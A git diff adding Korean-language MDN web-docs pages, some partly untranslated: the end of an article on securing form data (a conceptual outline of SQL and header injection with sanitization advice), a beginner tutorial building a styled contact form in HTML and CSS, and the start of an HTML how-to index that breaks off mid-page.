+<h4 id="SQL_injection">SQL injection</h4>
+
+<p>SQL injection is a type of attack that tries to perform actions on a database used by the target web site. This typically involves sending an SQL request and hopes that the server will execute it (many times when the application server tries to store the data). This is actually <a href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" rel="external" title="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project">one of the main vector attacks against web sites</a>.</p>
+
+<p>The consequences can be terrible, ranging from data loss to access to a whole infrastructure by using privilege escalation. This is a very serious threat and you should never store data sent by a user without performing some sanitization (for example, by using <code><a href="http://www.php.net/manual/en/function.mysql-real-escape-string.php" rel="external" title="http://www.php.net/manual/en/function.mysql-real-escape-string.php">mysql_real_escape_string()</a></code> on a PHP/MySQL infrastructure).</p>
+
+<h4 id="HTTP_header_injection_와_email_injection">HTTP header injection 와 email injection</h4>
+
+<p>These kinds of attacks can occur when your application builds HTTP headers or emails based on the data input by a user on a form. These won't directly damage your server or affect your users but are an open door to deeper problems such as session hijacking or phishing attacks.</p>
+
+<p>These attacks are mostly silent, and can turn your server into a <a href="http://en.wikipedia.org/wiki/Zombie_(computer_science)" rel="exernal" title="http://en.wikipedia.org/wiki/Zombie_(computer_science)">zombie</a>.</p>
+
+<h3 id="Be_paranoid_Never_trust_your_users">Be paranoid: Never trust your users</h3>
+
+<p>So, how do you fight these threats? This is a topic far beyond this guide; however there are a few rules it's good to keep in mind. The most important rule is: never ever trust your users, including yourself; even a trusted user could have been hijacked.</p>
+
+<p>All data that comes to your server must be checked and sanitized. Always. No exception.</p>
+
+<ul>
+ <li>Escape potentially dangerous characters. The specific characters you should be cautious with vary depending on the context in which the data is used and the server platform you employ, but all server-side languages have functions for this.</li>
+ <li>Limit the incoming amount of data to allow only what's necessary.</li>
+ <li>Sandbox uploaded files (store them on a different server and allow access to the file only through a different subdomain or even better through a fully different domain name).</li>
+</ul>
+
+<p>If you follow these three rules of thumb, you should avoid many/most problems; however, it's always a good idea to get a security review performed by a competent third party. Don't assume that you've seen all the possible problems.</p>
+
+<h2 id="결론">결론</h2>
+
+<p>여기서 볼 수 있듯이 폼데이터는 쉽게 보낼수 있지만 어플리케이션에서 데이터를 확보하는것은 까다로운 일이 될 수 있다. 프론트 앤드 개발자가 기억해야 할 것은 데이터 모델만 보안을 정한다고 끝이 아니라는 것이다. Yes, as we'll see, it's possible to <a href="/en-US/docs/HTML/Forms/Data_form_validation" title="/en-US/docs/HTML/Forms/Data_form_validation">perform client side data validation</a> but the server can't trust this validation because it has no way to truly know what really happens on the client side.</p>
+
+<h2 id="볼거리">볼거리</h2>
+
+<p>If you want to learn more about securing a web application, you can dig into these resources:</p>
+
+<ul>
+ <li><a href="https://www.owasp.org/index.php/Main_Page" rel="external" title="https://www.owasp.org/index.php/Main_Page">The Open Web Application Security Project (OWASP)</a></li>
+ <li><a href="http://shiflett.org/" rel="external" title="http://shiflett.org/">Chris Shiflett's blog about PHP Security</a></li>
+ <li><a href="https://code.google.com/intl/en/edu/security/index.html" rel="external" title="https://code.google.com/intl/en/edu/security/index.html">Learning material from Google</a></li>
+</ul>
diff --git a/files/ko/learn/html/forms/your_first_html_form/index.html b/files/ko/learn/html/forms/your_first_html_form/index.html
new file mode 100644
index 0000000000..b997fc1f08
--- /dev/null
+++ b/files/ko/learn/html/forms/your_first_html_form/index.html
@@ -0,0 +1,272 @@
+---
+title: 나의 첫 HTML 폼
+slug: Learn/HTML/Forms/Your_first_HTML_form
+translation_of: Learn/Forms/Your_first_form
+---
+<p>이 문서는 HTML 폼 소개 문서입니다. 간단한 폼들을 살펴보면서 HTML 폼을 만들기에 대한 기본적인 필요 사항들을 볼 수 있을 것이다. 이 문서는 HTML폼에 대해서는 아무것도 몰라도 되지만 다음 문서에 나와 있는 기본적인 HTML이나 CSS를 알아야 한다. (<a href="/en-US/docs/HTML/Introduction" title="/en-US/docs/HTML/Introduction">the basics of HTML</a>, <a href="/en-US/docs/CSS/Getting_Started" title="/en-US/docs/CSS/Getting_Started">CSS</a>)</p>
+
+<h2 id="시작하기전에" style="line-height: 30px;">시작하기전에</h2>
+
+<h3 id="HTML_폼_이란" style="line-height: 24px;">HTML 폼 이란?</h3>
+
+<p>HTML폼은 사용자와 웹사이트 또는 어플리케이션이 서로 상호 작용하는 것 중 중요한 기술 중에 하나이다. 폼은 사용자가 웹사이트에 데이터를 전송하는 것을 허용한다. 일반적으로 데이터는 웹 서버로 전송되지만 웹페이지가 데이터를 사용하기 위하여 사용할 수 도 있다.</p>
+
+<p>HTML 폼은 하나 이상의 위젯으로 만들어 진다. 이러한 위젯들은 텍스트 필드(한줄 또는 여러줄), 셀렉 박스,  버튼, 체크박스, 라디오 버튼이 될 수 있다. <span style="line-height: 1.5;">대부분 이러한 위젯들은 위젯을 설명하는 라벨과 함께 사용된다.</span></p>
+
+<h3 id="폼을_사용하려면_무엇이_필요합니까" style="line-height: 24px;">폼을 사용하려면 무엇이 필요합니까?</h3>
+
+<p>HTML을 다루기 위한 텍스트 에디터나 웹 브라우저외는 아무것도 필요 없습니다. <span style="line-height: 1.5;">물론 비주얼 스튜디오, 이클립트, 앱타나 등 통합개발환경(IDE)을 사용하면 많은 이점이 있지만 이것은 만드는 사람 마음이다.</span></p>
+
+<p>HTML 폼과 일반적인 HTML 요소의 주요 차이점은 폼에 의해 수집된 데이터는 대부분 웹서버에 전송된다는 점이다. 이런 경우 데이터를 받거나 처리하는 웹서버를 설정해야한다. 웹서버를 설정하는 방법은 이 문서의 범위를 벗어나지만 알고 싶다면 다음 문서를 참조 하시오 <a href="/en-US/docs/HTML/Forms/Sending_and_Retrieving_form_data" title="/en-US/docs/HTML/Forms/Sending_and_retrieving_form_data">Sending and retrieving form data</a>.</p>
+
+<h2 id="폼_디자인하기" style="line-height: 30px;">폼 디자인하기</h2>
+
+<p>코드를 보기전에 항상 잠시 뒤로 물러나 폼에 대하여 생각하는 것이 더 중요하다.   간단한 모형을 디자인 하는것은 개발자가 사용자에게 묻고 싶은 데이터를 올바르게 정의하는데 도움을 준다. 사용자 경험 (UX)의 관점에서 폼이 많을수록 사용자들이 더 줄어든다는 사실을 기억하는게 중요하다. 반드시 필요한것이 무엇인지 생각하면서 간단하게 유지하는 것이 중요하다. 폼 디자인은 사이트나 어플리케이션을 만드는 과정 중 중요한 단계이다. 폼들의 디자인은 이 문서의 범위를 벗어나지만 만약 더 자세하게 알고 싶은 경우 다음 문서를 참조 하세요.</p>
+
+<ul>
+ <li>Smashing는 폼 UX에 매우 좋은 잡지다 <a href="http://uxdesign.smashingmagazine.com/tag/forms/" rel="external" title="http://uxdesign.smashingmagazine.com/tag/forms/">good articles about forms UX</a>의  <a href="http://uxdesign.smashingmagazine.com/2011/11/08/extensive-guide-web-form-usability/" rel="external" title="http://uxdesign.smashingmagazine.com/2011/11/08/extensive-guide-web-form-usability/">Extensive Guide To Web Form Usability</a>.</li>
+ <li>UXMatters 도 좋은 폼 양식을 볼수 있다. <a href="http://www.uxmatters.com/mt/archives/2012/05/7-basic-best-practices-for-buttons.php" rel="external" title="http://www.uxmatters.com/mt/archives/2012/05/7-basic-best-practices-for-buttons.php">basic best practices</a> 의 <a href="http://www.uxmatters.com/mt/archives/2010/03/pagination-in-web-forms-evaluating-the-effectiveness-of-web-forms.php" title="http://www.uxmatters.com/mt/archives/2010/03/pagination-in-web-forms-evaluating-the-effectiveness-of-web-forms.php">multi-page forms</a>.</li>
+</ul>
+
+<p>이 문서에서는 간단한 문의를 하는 폼을 만들것이다. 거칠게 스케치 해보자.</p>
+
+<p><img alt="The form to build, roughly sketch" src="/files/4579/form-sketch-low.jpg" style="border-style: solid; border-width: 1px; height: 352px; width: 400px;"></p>
+
+<p>우리가 만들 폼은 3개의 텍스트 필드와 하나의 버튼을 가지고 있다. 기본적으로 우리는 사용자에게 이름, 이메일, 문의사항을 물어 볼 것이고 버튼을 눌러서 웹서버로 데이터를 보내는게 목적이다.</p>
+
+<h2 id="HTML를_직접_다루어_보자" style="line-height: 30px;">HTML를 직접 다루어 보자</h2>
+
+<p>자 이제 HTML에가서 폼을 코딩 할 준비가 되었다. 우리의 문의하는 폼에서 다음과 같은 HTML 요소들을 사용할 것이다. {{HTMLElement("form")}}, {{HTMLElement("label")}}, {{HTMLElement("input")}}, {{HTMLElement("textarea")}}, and {{HTMLElement("button")}}.</p>
+
+<h3 id="HTMLElement(form)_요소" style="line-height: 24px;">{{HTMLElement("form")}} 요소</h3>
+
+<p>모든 HTML 폼은 {{HTMLElement("form")}} 요소로 다음과 같이 시작된다:</p>
+
+<pre class="brush:html;" style="font-size: 14px;">&lt;form action="/my-handling-form-page" method="post"&gt;
+
+&lt;/form&gt;</pre>
+
+<p>이 요소는 폼의 공식적인 형태이다. 이 요소는 다음 {{HTMLElement("div")}} 나 {{HTMLElement("p")}} 요소와 같이 사용되고,뿐만 아니라 폼이 동작하는 방식을 설정하는 일부 속성들을 지정 해야한다. 이러한 모든 속성은 선택적이지만 <code style="font-size: 14px;">action</code> 속성과 <code style="font-size: 14px;">method</code> 속성은 필수적으로 설정해야 한다.</p>
+
+<ul>
+ <li><code style="font-size: 14px;">action</code> 속성은 데이터를 보낼 URL을 지정한다.</li>
+ <li><code style="font-size: 14px;">method</code> 속성은 어떤 HTTP 방식을 사용할 것인지 지정한다.(GET 이나  POST)</li>
+</ul>
+
+<p>만약 이러한 속성에 더 자세한 내용을 알고 싶다면 다음 문서를 참조하시오. <a href="/en-US/docs/HTML/Forms/Sending_and_retrieving_form_data" title="/en-US/docs/HTML/Forms/Sending_and_retrieving_form_data">Sending and retrieving form data</a>.</p>
+
+<h3 id="HTMLElement(label)_HTMLElement(input)_그리고_HTMLElement(textarea)_요소_추가하기" style="line-height: 24px;">{{HTMLElement("label")}}, {{HTMLElement("input")}}, 그리고 {{HTMLElement("textarea")}} 요소 추가하기</h3>
+
+<p>우리의 문의하는 폼은 정말 간단하고 라벨을 가지고 있는 세 개의 텍스트필드를 가지고 있다. 이름을 입력 받는 입력 필드는 한줄 텍스트 필드를 사용하고, 이메일을 입력 받는 입력 필드는 이메일만 입력받는 한줄 텍스트 필드를 사용하고, 문의 내용을 입력받는 입력 필드는 다중 라인 텍스트 필드가 사용 될것이다.</p>
+
+<p>HTML코드를 다음과 같이 짤 것이다.</p>
+
+<pre class="brush:html;" style="font-size: 14px;">&lt;form action="/my-handling-form-page" method="post"&gt;
+    &lt;div&gt;
+        &lt;label for="name"&gt;Name:&lt;/label&gt;
+        &lt;input type="text" id="name" /&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+        &lt;label for="mail"&gt;E-mail:&lt;/label&gt;
+        &lt;input type="email" id="mail" /&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+        &lt;label for="msg"&gt;Message:&lt;/label&gt;
+        &lt;textarea id="msg"&gt;&lt;/textarea&gt;
+    &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{HTMLElement("div")}} 요소는 코드를 편리하게 구성하고 스타일링 쉽게 만들어 줍니다. 중요한 점은 for속성은 모든{{HTMLElement("label")}} 요소에서 공식적으로 폼 위젯과 라벨을 연결하는데 사용된는 것이다. 이 속성은 위젯에 맞는 ID를 참조한다. 이 것은 몇 가지 장점이 있다. 가장 두드러 지는 것은 사용자가 라벨을 눌럿을때 그거에 맞는 위젯을 활성화 시키는 것이다.만약 이 속성에 대한 장점을 더 알고 싶다면 다음 문서에 자세히 나와있다. <a href="/en-US/docs/HTML/Forms/How_to_structure_an_HTML_form" title="/en-US/docs/HTML/Forms/How_to_structure_an_HTML_form">How to structure an HTML form</a>.</p>
+
+<p>{{HTMLElement("input")}} 요소의 가장 중요한 속성은 type 속성이다. 이 속성은 {{HTMLElement("input")}} 요소가 어떻게 입력을 받을 것인지 정의하기 떄문에 매우 중요하다. 이것은 아예 요소를 변경하기 떄문에 주의 해야한다. 만약 이것에 대하여 더 자세한 정보를 알고 싶다면 다음 문서를 참조 하라. <a href="/en-US/docs/HTML/Forms/The_native_form_widgets" rel="external" title="/en-US/docs/HTML/Forms/The_native_forms_widgets">native form widgets</a> 우리의 예제에서는 이 속성의 기본 값인 오직 <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">text</span><span style="line-height: 1.5;">값만 사용했다.</span><span style="line-height: 1.5;"> </span>이 값은 제어나 유효성 검사 없이 모든 종류의 텍스트를 받아 들이는 한줄 텍스트 필드를 나타낸다.<span style="line-height: 1.5;"> </span>또한 오직 이메일 주소만 받는 한줄 텍스트 필드 <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">email</span>값을 사용했다.<span style="line-height: 1.5;"> </span>이 마지막 값은 기본 텍스트 필드를 사용자가 입력 한 데이터에 대한 몇 가지 검사를 수행하는 "지능형"필드의 종류로 전환한다<span style="line-height: 1.5;">. 만약 폼 데이터 유효성 확인에 대하여 자세히 알고싶다면 다음 문서를 참조 해라. </span><a href="/en-US/docs/HTML/Forms/Data_form_validation" style="line-height: 1.5;" title="/en-US/docs/HTML/Forms/Data_form_validation">Form data validation</a></p>
+
+<p>마지막 요소를 보기전에 다음 <code style="font-size: 14px;">&lt;input /&gt;</code> VS <code style="font-size: 14px;">&lt;textarea&gt;&lt;/textarea&gt;요소를 봐야한다</code>. 이것은 이상한 HTML 요소중 하나이다. <code style="font-size: 14px;">&lt;input&gt;태그는 자동 닫힘 태그다 무슨 의미냐면</code> 요소가 끝날떄 반드시 "/"닫는 태그에 추가해야 하는 것을 의미한다. 이와 반대로, {{HTMLElement("textarea")}}은 자동 닫힘 태그가 아니다 그래서 반드시 엔딩태그를 사용하여 요소를 종료해야한다. 이 것은 기본 값을 정의하는 특정 기능에 영향을 미친다. <span style="line-height: 1.5;">요소의 기본 값 정의는 반드시 value 속성을 다음과 같이 지정 해야 한다.</span></p>
+
+<pre class="brush:html;" style="font-size: 14px;">&lt;input type="text" value="by default this element is filled with this text" /&gt;</pre>
+
+<p>이와 반대로 {{HTMLElement("textarea")}}요소 에서 기본값을 정의하고 싶다면,  {{HTMLElement("textarea")}}요소의 시작 태그와 끝 태그 사이에 문자들을 다음과 같이 입력 하면된다.</p>
+
+<pre class="brush:html;" style="font-size: 14px;">&lt;textarea&gt;by default this element is filled with this text&lt;/textarea&gt;</pre>
+
+<h3 id="HTMLElement(button)_요소로_끝내기" style="line-height: 24px;"> {{HTMLElement("button")}} 요소로 끝내기</h3>
+
+<p>우리의 폼이 거의 완성되간다. 이제 단지 사용자 데이터를 서버에 보낼수 있도록 버튼을 추가하면된다. 이것은 간단하게 {{HTMLElement("button")}} 요소를 사용한다.</p>
+
+<pre class="brush:html;" style="font-size: 14px;">&lt;form action="/my-handling-form-page" method="post"&gt;
+    &lt;div&gt;
+        &lt;label for="name"&gt;Name:&lt;/label&gt;
+        &lt;input type="text" id="name" /&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+        &lt;label for="mail"&gt;E-mail:&lt;/label&gt;
+        &lt;input type="email" id="mail" /&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+        &lt;label for="msg"&gt;Message:&lt;/label&gt;
+        &lt;textarea id="msg"&gt;&lt;/textarea&gt;
+    &lt;/div&gt;
+
+    &lt;div class="button"&gt;
+        &lt;button type="submit"&gt;Send your message&lt;/button&gt;
+    &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>버튼은 다음과 같은 3개 종류가 있다. <code style="font-size: 14px;">submit</code>, <code style="font-size: 14px;">reset</code>, <code style="font-size: 14px;">button</code>.</p>
+
+<ul>
+ <li><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">submit</span> 버튼을 클릭하면 폼 데이터를 {{HTMLElement("form")}} 요소의 <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">action</span>속성에 정의된 웹페이지 에 전송된다.</li>
+ <li> <code style="font-size: 14px;">reset</code> 버튼을 클릭하면 모든 폼 위젯을 기본 값으로 바꾼다. UX 관점에서 이방법은 안좋은 방법이라 본다.</li>
+ <li><code style="font-size: 14px;">button 버튼은... 아무것도 안한다! 이 말이 이상하게 들릴수도 있지만 JavaScript를 사용하면 놀랍게 유용한 사용자 버튼이 될 수 있다.</code></li>
+</ul>
+
+<p>알아두어야 할것은  {{HTMLElement("input")}} 요소를 사용하여 버튼 유형을 만들 수 있다.  {{HTMLElement("button")}}요소와 가장 큰 차이점은 {{HTMLElement("input")}}요소는 오직 일반 텍스트만 보내는 반면 {{HTMLElement("button")}}요소는 전체 HTML 콘텐츠를 보낸다.</p>
+
+<h2 id="CSS로_더욱_나이스하게_만들기" style="line-height: 30px;">CSS로 더욱 나이스하게 만들기</h2>
+
+<p>이제 우리는 HMLT폼을 가졋지만 가지고 있는 브라우저에서 보면 구리게 보인다.</p>
+
+<p><img alt="" src="/files/4049/form-no-style.png" style="height: 170px; width: 534px;"></p>
+
+<p>CSS 스타일시트를 이용하여 조금만더 나이스하게 만들어 보자.</p>
+
+<p>폼을 가운데로 정렬하고 테두리를 보이게 하는것 부터 시작하자.</p>
+
+<pre class="brush:css;" style="font-size: 14px;">form {
+    /* Just to center the form on the page */
+    margin: 0 auto;
+    width: 400px;
+    /* To see the outline of the form */
+    padding: 1em;
+    border: 1px solid #CCC;
+    border-radius: 1em;
+}</pre>
+
+<p>그 다음 각각 폼 위젯사이에 여백을 추가하자.</p>
+
+<pre class="brush:css;" style="font-size: 14px;">form div + div {
+    margin-top: 1em;
+}</pre>
+
+<p>이제 레이블에 초점을 맞추자. 우리의 폼을 더 읽기 쉽게 만들기 위해 모든 라벨들이 같은 사이즈와 같은 쪽을 정렬이 되게하자. 이 경우 오른쪽 정렬을 하지만 경우에 따라서 왼쪽 정렬도 좋을 수 있다.</p>
+
+<pre class="brush:css;" style="font-size: 14px;">label {
+    /* To make sure that all label have the same size and are properly align */
+    display: inline-block;
+    width: 90px;
+    text-align: right;
+}</pre>
+
+<p>HTML 폼을 다루는 가장 어려운 것중 하나는 HTML자체를 위젯으로 스타일 하는 것이다. 텍스트 필드는 쉽게 스타일 할수 있지만 다른 위젯들은 아니다. 만약 HTML 폼 위젯 스타일에 대하여 자세한 정보를 알고 싶으면 다음 문서를 참조하시오.  <a href="/en-US/docs/HTML/Forms/Styling_HTML_forms" title="/en-US/docs/HTML/Forms/Styling_HTML_forms">Styling HTML forms</a></p>
+
+<p>폰트, 크기, 테두리를 변경 해보자</p>
+
+<pre class="brush:css;" style="font-size: 14px;">input, textarea {
+    /* To make sure that all text fields have the same font settings
+       By default, textareas have a monospace font */
+    font: 1em sans-serif;
+
+    /* To give the same size to all text field */
+    width: 300px;
+    -moz-box-sizing: border-box;
+    box-sizing: border-box;
+
+    /* To harmonize the look &amp; feel of text field border */
+    border: 1px solid #999;
+}</pre>
+
+<p>HTML 폼은 요소의 상태를 나타내는 많은 가상클래스 를 지원한다.예르들어 위젯이 활성화 되면 하이라이트 효과를 추가할 수있다. 이것은 사용자가 쉽게 따라가도록 하는 편리한 방법이다.</p>
+
+<pre class="brush:css;" style="font-size: 14px;">input:focus, textarea:focus {
+    /* To give a little highlight on active elements */
+    border-color: #000;
+}</pre>
+
+<p>다중 텍스트 필드는 몇몇 사용자 지정 스타일이 필요하다. 기본적으로  {{HTMLElement("textarea")}}요소는 바닥이 텍스트 기준선에 정렬되는 인라인 블록 이다. 대부분 이것들은 우리가 원하는 것이 아니다. 이런 경우 나이스하게 라벨과 필드를 정렬하려면  {{HTMLElement("textarea")}}요소의 <code style="font-size: 14px;">vertical-align</code><span style="line-height: 1.5;"> 속성을 </span><span style="line-height: 1.5;"> </span><code style="font-size: 14px;">top이라 변경 해야 한다</code><span style="line-height: 1.5;">.</span></p>
+
+<p>또하나 유용한 <code style="font-size: 14px;">resize</code> 프로퍼티는 사용자가 쉽게  {{HTMLElement("textarea")}}요소의 크기를 조정 할수 있게 해준다.</p>
+
+<pre class="brush:css;" style="font-size: 14px;">textarea {
+    /* To properly align multiline text fields with their labels */
+    vertical-align: top;
+
+    /* To give enough room to type some text */
+    height: 5em;
+
+    /* To allow users to resize any textarea vertically
+       It does not work on every browsers */
+    resize: vertical;
+}</pre>
+
+<p>버튼도 특별한 스타일이 필요하다. <span style="line-height: 1.5;">이를 위해 우선 {{HTMLElement("div")}}요소안에 버튼을 넣는다. 그리고 다른 위젯들과 정렬을 해야한다. 그럴러면 {{HTMLElement("label")}}요소를 흉내 내야한다. 그 후에 패딩 과 마진 속성을 지정하면된다</span></p>
+
+<pre class="brush:css;" style="font-size: 14px;">.button {
+    /* To position the buttons to the same position of the text fields */
+    padding-left: 90px; /* same size as the label elements */
+}
+
+button {
+    /* This extra margin represent roughly the same space as the space
+       between the labels and their text fields */
+    margin-left: .5em;
+}</pre>
+
+<p>이제 폼이 더 나이스 해졋다.</p>
+
+<p><img alt="" src="/files/4051/form-style.png" style="height: 260px; width: 900px;"></p>
+
+<h2 id="웹서버로_데이터_보내기" style="line-height: 30px;">웹서버로 데이터 보내기</h2>
+
+<p>까다로울지 모르는 마지막 부분은 데이터를 서버측에서 처리하는 것이다. 앞에서 언급 된 바와 같이 HTML폼은 사용자에게 데이터를 물어보고 웹서버로 데이터를 전달하는 데 편리한 방법이다.</p>
+
+<p>{{HTMLElement("form")}} 요소는 <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">action속성과 </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">method속성을 </span><span style="line-height: 1.5;">사용하여 데이터를 어디에 어떻게 보낼것인지 정의한다.</span></p>
+
+<p>이걸로 충분하지않다. 데이터의 이름을 지정해야한다. 이러한 이름들은 브라우저측이나 서버 측 모두에게 중요하다. 브라우저에게는 데이터 각 부분에는 이름을 지정하고 서버측 에서는 이름을 이용하여 데이터를 다룰수 있게 해준다.</p>
+
+<p>그래서 데이터의 이름을 지정하려면 데이터를 받는 각 폼 위젯에 <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">name</span><span style="line-height: 1.5;">속성을 지정해야한다.</span></p>
+
+<pre class="brush:html;" style="font-size: 14px;">&lt;form action="/my-handling-form-page" method="post"&gt;
+    &lt;div&gt;
+        &lt;label for="name"&gt;Name:&lt;/label&gt;
+        &lt;input type="text" id="name" name="user_name" /&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+        &lt;label for="mail"&gt;E-mail:&lt;/label&gt;
+        &lt;input type="email" id="mail" name="user_email" /&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+        &lt;label for="msg"&gt;Message:&lt;/label&gt;
+        &lt;textarea id="msg" name="user_message"&gt;&lt;/textarea&gt;
+    &lt;/div&gt;
+
+    &lt;div class="button"&gt;
+        &lt;button type="submit"&gt;Send your message&lt;/button&gt;
+    &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>우리의 예제에서는 다음과 같이 3가지 데이터 이름을 지정했다.  "<code style="font-size: 14px;">user_name</code>", "<code style="font-size: 14px;">user_email</code>" and "<code style="font-size: 14px;">user_message</code>". 이 데이터는 "<code style="font-size: 14px;">/my-handling-form-page</code>"로  HTTP POST 방식으로 전송된다.</p>
+
+<p><span style="line-height: 1.5;">서버 측에서는 URL에서 HTTP 요청에 의해 구현된 3개의 키/벨류 항목의 목록 데이터를 받게 된다. </span>스크립트로 데이터를 다루는 방법은 너에게 달려있다. 각각 의 서버 측 언어들은(PHP, Python, Ruby, Java, C# 등)자신만의 방식으로 이를 다룬다. 더 깊게 들어가는 것은 이문서의 범위를 벗어나지만 더자세히 알고 싶다면 다음 문서를 참조하시오. <a href="/en-US/docs/HTML/Forms/Sending_and_retrieving_form_data" title="/en-US/docs/HTML/Forms/Sending_and_retrieving_form_data">Sending and retrieving form data</a>.</p>
+
+<h2 id="결론" style="line-height: 30px;">결론</h2>
+
+<p>축하한다! 첫번째 HTML폼을 만들었다.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">Live example</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ EmbedLiveSample('A_simple_form', '100%', '240', '', 'Learn/HTML/Forms/Your_first_HTML_form/Example') }}</td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><a href="/en-US/docs/HTML/Forms/My_first_HTML_form/Example" title="/en-US/docs/HTML/Forms/My_first_HTML_form/Example">Check out the source code</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>하지만 이제 시작일 뿐이고, 더 깊게 파고들 시간이다. HTML폼은 이 문서에서 본 것 보다 더 강력한 도구이고, 이 가이드의 다른 문서가 나머지 내용을 배우는데 도움이 될 것이다.</p>
+
+<p>{{NextMenu("Learn/HTML/Forms/How_to_structure_an_HTML_form", "Learn/HTML/Forms")}}</p>
diff --git a/files/ko/learn/html/howto/index.html b/files/ko/learn/html/howto/index.html
new file mode 100644
index 0000000000..2bef079e90
--- /dev/null
+++ b/files/ko/learn/html/howto/index.html
@@ -0,0 +1,153 @@
+---
+title: Learn HTML to solve problems
+slug: Learn/HTML/Howto
+tags:
+  - CodingScripting
+  - HTML
+  - NeedsTranslation
+  - TopicStub
+translation_of: Learn/HTML/Howto
+---
+<p>Once you've covered <a href="/en-US/Learn/Getting_started_with_the_web/HTML_basics">the basics</a>, there isn't one right path to learn {{Glossary("HTML")}}. You can pick up whatever you like at your own pace. HTML is simply a set of {{glossary("tag","tags")}} you can use to set up your document structure and add extra functionality to your document. The following articles explain thoroughly, with full working examples, how to use HTML for the most common, frequent Web development tasks. If you need a quick explanation of a tag, please head over to our <a href="/en-US/docs/Web/HTML/Reference">HTML reference</a>.</p>
+
+<h2 id="Common_use_cases">Common use cases</h2>
+
+<p>HTML covers a lot of very common use cases in Web design. It's highly likely you'll come across these scenarios:</p>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Basic_structure">Basic structure</h3>
+
+<p>The most basic application of HTML is document structure. If you're new to HTML you should start with this.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Create_a_basic_HTML_document">How to create a basic HTML document</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Divide_a_webpage_into_logical_sections">How to divide a webpage into logical sections</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Set_up_a_proper_title_hierarchy">How to set up a proper title hierarchy</a></li>
+</ul>
+
+<h3 id="Basic_text-level_semantics">Basic text-level semantics</h3>
+
+<p>HTML specializes in providing semantic information for a document, so HTML answers many questions you might have about how to get your message across best in your document.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Create_list_of_items_with_HTML">How to create list of items with HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Emphasize_content_or_indicate_that_text_is_important">How to stress or emphasize content</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Emphasize_content_or_indicate_that_text_is_important">How to indicate that text is important</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Display_computer_code_with_HTML">How to display computer code with HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Indicate_exponential_notation_with_HTML">How to indicate exponential notation with HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Provide_contact_information_within_a_webpage">How to provide contact information within a webpage</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Annotate_images_and_graphics">How to annotate images and graphics</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Mark_abbreviations_and_make_them_understandable">How to mark abbreviations and make them understandable</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Add_citations_to_webpages">How to add citations to webpages</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Define_terms_with_HTML">How to define terms with HTML</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<h3 id="Hyperlinks">Hyperlinks</h3>
+
+<p>One of the main reasons for HTML is make navigation easy with {{Glossary("hyperlink", "hyperlinks")}}, which can be used in many different ways:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Create_a_hyperlink">How to create a hyperlink</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Create_list_of_items_with_HTML">How to create a table of contents with HTML</a></li>
+</ul>
+
+<h3 id="Images_multimedia">Images &amp; multimedia</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Add_images_to_a_webpage">How to add images to a webpage</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Add_audio_or_video_content_to_a_webpage">How to add video content to a webpage</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Add_audio_or_video_content_to_a_webpage">How to add audio content to a webpage</a></li>
+</ul>
+
+<h3 id="Scripting_styling">Scripting &amp; styling</h3>
+
+<p>HTML only sets up document structure. To solve presentation issues, use {{glossary("CSS")}}, or use scripting to make your page interactive.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Use_CSS_within_a_webpage">How to use CSS within a webpage</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Use_JavaScript_within_a_webpage">How to use JavaScript within a webpage</a></li>
+</ul>
+
+<h3 id="Embedded_content">Embedded content</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Embed_a_webpage_within_another_webpage">How to embed a webpage within another webpage</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Add_Flash_content_within_a_webpage">How to add Flash content within a webpage</a></li>
+</ul>
+</div>
+</div>
+
+<h2 id="Uncommon_or_advanced_problems">Uncommon or advanced problems</h2>
+
+<p>Beyond the basics, HTML is very rich and offers advanced features for solving complex problems. These articles help you tackle the less common use cases you may face:</p>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Forms">Forms</h3>
+
